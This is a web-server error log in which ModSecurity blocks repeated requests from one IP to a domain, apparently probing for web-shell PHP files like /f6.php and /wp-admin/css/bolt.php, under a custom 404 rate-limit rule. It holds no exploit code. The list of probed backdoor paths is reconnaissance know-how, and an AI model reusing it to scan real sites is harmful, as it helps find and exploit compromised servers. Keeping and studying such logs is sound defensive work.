[Fri Apr 17 14:33:42.526845 2026] [:error] [pid 9263:tid 9280] [client 74.234.56.128:23926] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeHURhP68VyHNvj1e56jXAAAAM8"]
[Fri Apr 17 14:33:42.536080 2026] [:error] [pid 9263:tid 9281] [client 74.234.56.128:26922] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aeHURhP68VyHNvj1e56jXQAAANA"]
[Fri Apr 17 14:33:43.087771 2026] [:error] [pid 9152:tid 9208] [client 74.234.56.128:25935] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aeHUR5JYca8I3TNCwIf-lAAAAFI"]
[Fri Apr 17 14:33:43.096635 2026] [:error] [pid 51878:tid 51890] [client 74.234.56.128:26375] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeHUR0nQhUtMbw9EsgYahAAAAQo"]
[Fri Apr 17 14:33:43.587745 2026] [:error] [pid 61523:tid 61552] [client 74.234.56.128:26967] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeHUR8OaH-Pgc7WEf4NGggAAAco"]
[Fri Apr 17 14:33:43.658550 2026] [:error] [pid 9151:tid 9175] [client 74.234.56.128:27432] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeHUR8hTVuRPkua22vQUywAAAA4"]
[Fri Apr 17 14:33:44.102793 2026] [:error] [pid 61523:tid 61554] [client 74.234.56.128:27501] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeHUSMOaH-Pgc7WEf4NGgwAAAcw"]
[Fri Apr 17 14:33:44.216756 2026] [:error] [pid 9152:tid 9210] [client 74.234.56.128:27938] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeHUSJJYca8I3TNCwIf-mAAAAFQ"]
[Fri Apr 17 14:33:44.638397 2026] [:error] [pid 9263:tid 9269] [client 74.234.56.128:27935] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeHUSBP68VyHNvj1e56jdAAAAMQ"]
[Fri Apr 17 14:33:44.733929 2026] [:error] [pid 9152:tid 9194] [client 74.234.56.128:26892] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeHUSJJYca8I3TNCwIf-oAAAAEQ"]
[Fri Apr 17 14:33:45.188317 2026] [:error] [pid 9152:tid 9205] [client 74.234.56.128:27911] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeHUSZJYca8I3TNCwIf-ogAAAE8"]
[Fri Apr 17 14:33:45.257556 2026] [:error] [pid 9263:tid 9285] [client 74.234.56.128:26979] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aeHUSRP68VyHNvj1e56jfgAAANQ"]
[Fri Apr 17 14:33:45.709748 2026] [:error] [pid 9151:tid 9167] [client 74.234.56.128:27925] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeHUSchTVuRPkua22vQUzAAAAAY"]
[Fri Apr 17 14:33:45.848871 2026] [:error] [pid 51878:tid 51900] [client 74.234.56.128:27420] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeHUSUnQhUtMbw9EsgYahQAAARQ"]
[Fri Apr 17 14:33:46.244683 2026] [:error] [pid 61523:tid 61548] [client 74.234.56.128:28004] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeHUSsOaH-Pgc7WEf4NGjAAAAcY"]
[Fri Apr 17 14:33:46.366837 2026] [:error] [pid 51878:tid 51880] [client 74.234.56.128:27517] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeHUSknQhUtMbw9EsgYahgAAAQA"]
[Fri Apr 17 14:33:46.821932 2026] [:error] [pid 61523:tid 61547] [client 74.234.56.128:26893] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeHUSsOaH-Pgc7WEf4NGkAAAAcU"]
[Fri Apr 17 14:33:46.919495 2026] [:error] [pid 61523:tid 61551] [client 74.234.56.128:24427] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeHUSsOaH-Pgc7WEf4NGkQAAAck"]
[Fri Apr 17 14:33:47.388195 2026] [:error] [pid 61523:tid 61549] [client 74.234.56.128:24438] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeHUS8OaH-Pgc7WEf4NGlAAAAcc"]
[Fri Apr 17 14:33:47.457473 2026] [:error] [pid 9152:tid 9214] [client 74.234.56.128:27410] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeHUS5JYca8I3TNCwIf-qgAAAFg"]
[Fri Apr 17 14:33:47.949907 2026] [:error] [pid 9151:tid 9164] [client 74.234.56.128:27412] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aeHUS8hTVuRPkua22vQUzgAAAAM"]
[Fri Apr 17 14:33:48.047165 2026] [:error] [pid 51878:tid 51892] [client 74.234.56.128:27961] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeHUTEnQhUtMbw9EsgYaiAAAAQw"]
[Fri Apr 17 14:33:48.512614 2026] [:error] [pid 9263:tid 9272] [client 74.234.56.128:27922] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aeHUTBP68VyHNvj1e56jhAAAAMc"]
[Fri Apr 17 14:33:48.582665 2026] [:error] [pid 9152:tid 9206] [client 74.234.56.128:27978] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeHUTJJYca8I3TNCwIf-rQAAAFA"]
[Fri Apr 17 14:33:49.045068 2026] [:error] [pid 9152:tid 9201] [client 74.234.56.128:26907] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aeHUTZJYca8I3TNCwIf-rgAAAEs"]
[Fri Apr 17 14:33:49.129062 2026] [:error] [pid 9263:tid 9278] [client 74.234.56.128:28009] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeHUTRP68VyHNvj1e56jhwAAAM0"]
[Fri Apr 17 14:33:49.584749 2026] [:error] [pid 61523:tid 61556] [client 74.234.56.128:28540] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "aeHUTcOaH-Pgc7WEf4NGmAAAAc4"]
[Fri Apr 17 14:33:49.767871 2026] [:error] [pid 61523:tid 61565] [client 74.234.56.128:28499] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aeHUTcOaH-Pgc7WEf4NGmQAAAdc"]
[Fri Apr 17 14:33:50.128618 2026] [:error] [pid 9153:tid 9220] [client 74.234.56.128:28000] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeHUTuMHGxkTZX3c45fPTAAAAII"]
[Fri Apr 17 14:33:50.380670 2026] [:error] [pid 61523:tid 61558] [client 74.234.56.128:26975] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeHUTsOaH-Pgc7WEf4NGmwAAAdA"]
[Fri Apr 17 14:33:50.756217 2026] [:error] [pid 9152:tid 9193] [client 74.234.56.128:27942] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeHUTpJYca8I3TNCwIf-sAAAAEM"]
[Fri Apr 17 14:33:51.001119 2026] [:error] [pid 9263:tid 9267] [client 74.234.56.128:28443] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeHUTxP68VyHNvj1e56jiQAAAMI"]
[Fri Apr 17 14:33:51.301008 2026] [:error] [pid 9153:tid 9236] [client 74.234.56.128:26377] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeHUT-MHGxkTZX3c45fPTgAAAJI"]
[Fri Apr 17 14:33:51.517530 2026] [:error] [pid 51878:tid 51889] [client 74.234.56.128:27916] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeHUT0nQhUtMbw9EsgYaigAAAQk"]
[Fri Apr 17 14:33:51.824730 2026] [:error] [pid 9153:tid 9239] [client 74.234.56.128:28431] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeHUT-MHGxkTZX3c45fPTwAAAJU"]
[Fri Apr 17 14:33:52.062793 2026] [:error] [pid 34273:tid 34280] [client 74.234.56.128:27431] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeHUUGuQDW686mK3dgHDHAAAAYU"]
[Fri Apr 17 14:33:52.337297 2026] [:error] [pid 34273:tid 34294] [client 74.234.56.128:27402] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUUGuQDW686mK3dgHDHgAAAZM"]
[Fri Apr 17 14:33:52.684177 2026] [:error] [pid 34273:tid 34285] [client 74.234.56.128:28487] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aeHUUGuQDW686mK3dgHDIAAAAYo"]
[Fri Apr 17 14:33:52.851100 2026] [:error] [pid 34273:tid 34296] [client 74.234.56.128:28494] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUUGuQDW686mK3dgHDIQAAAZU"]
[Fri Apr 17 14:33:53.192064 2026] [:error] [pid 9153:tid 9233] [client 74.234.56.128:27459] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aeHUUeMHGxkTZX3c45fPUgAAAI8"]
[Fri Apr 17 14:33:53.391560 2026] [:error] [pid 34273:tid 34298] [client 74.234.56.128:28517] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUUWuQDW686mK3dgHDIwAAAZc"]
[Fri Apr 17 14:33:53.775102 2026] [:error] [pid 34273:tid 34297] [client 74.234.56.128:26402] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aeHUUWuQDW686mK3dgHDJAAAAZY"]
[Fri Apr 17 14:33:53.894890 2026] [:error] [pid 34273:tid 34281] [client 74.234.56.128:27970] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUUWuQDW686mK3dgHDJQAAAYY"]
[Fri Apr 17 14:33:54.305200 2026] [:error] [pid 34273:tid 34278] [client 74.234.56.128:25358] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "aeHUUmuQDW686mK3dgHDJgAAAYM"]
[Fri Apr 17 14:33:54.403563 2026] [:error] [pid 9152:tid 9198] [client 74.234.56.128:26885] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeHUUpJYca8I3TNCwIf-tQAAAEg"]
[Fri Apr 17 14:33:54.852025 2026] [:error] [pid 51878:tid 51886] [client 74.234.56.128:28512] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeHUUknQhUtMbw9EsgYajQAAAQY"]
[Fri Apr 17 14:33:54.936863 2026] [:error] [pid 9152:tid 9197] [client 74.234.56.128:27960] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeHUUpJYca8I3TNCwIf-tgAAAEc"]
[Fri Apr 17 14:33:55.399935 2026] [:error] [pid 61523:tid 61548] [client 74.234.56.128:28453] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeHUU8OaH-Pgc7WEf4NGoAAAAcY"]
[Fri Apr 17 14:33:55.529293 2026] [:error] [pid 61523:tid 61545] [client 74.234.56.128:28535] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeHUU8OaH-Pgc7WEf4NGoQAAAcM"]
[Fri Apr 17 14:33:55.931219 2026] [:error] [pid 34273:tid 34279] [client 74.234.56.128:27975] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeHUU2uQDW686mK3dgHDKAAAAYQ"]
[Fri Apr 17 14:33:56.090895 2026] [:error] [pid 61523:tid 61560] [client 74.234.56.128:27396] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeHUVMOaH-Pgc7WEf4NGpAAAAdI"]
[Fri Apr 17 14:33:56.476981 2026] [:error] [pid 34273:tid 34290] [client 74.234.56.128:27974] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeHUVGuQDW686mK3dgHDKQAAAY8"]
[Fri Apr 17 14:33:56.651256 2026] [:error] [pid 9153:tid 9241] [client 74.234.56.128:27953] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aeHUVOMHGxkTZX3c45fPWQAAAJc"]
[Fri Apr 17 14:33:57.023385 2026] [:error] [pid 9153:tid 9220] [client 74.234.56.128:28016] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeHUVeMHGxkTZX3c45fPWwAAAII"]
[Fri Apr 17 14:33:57.203414 2026] [:error] [pid 9153:tid 9229] [client 74.234.56.128:28027] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aeHUVeMHGxkTZX3c45fPXAAAAIs"]
[Fri Apr 17 14:33:57.542988 2026] [:error] [pid 61523:tid 61544] [client 74.234.56.128:28478] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeHUVcOaH-Pgc7WEf4NGqAAAAcI"]
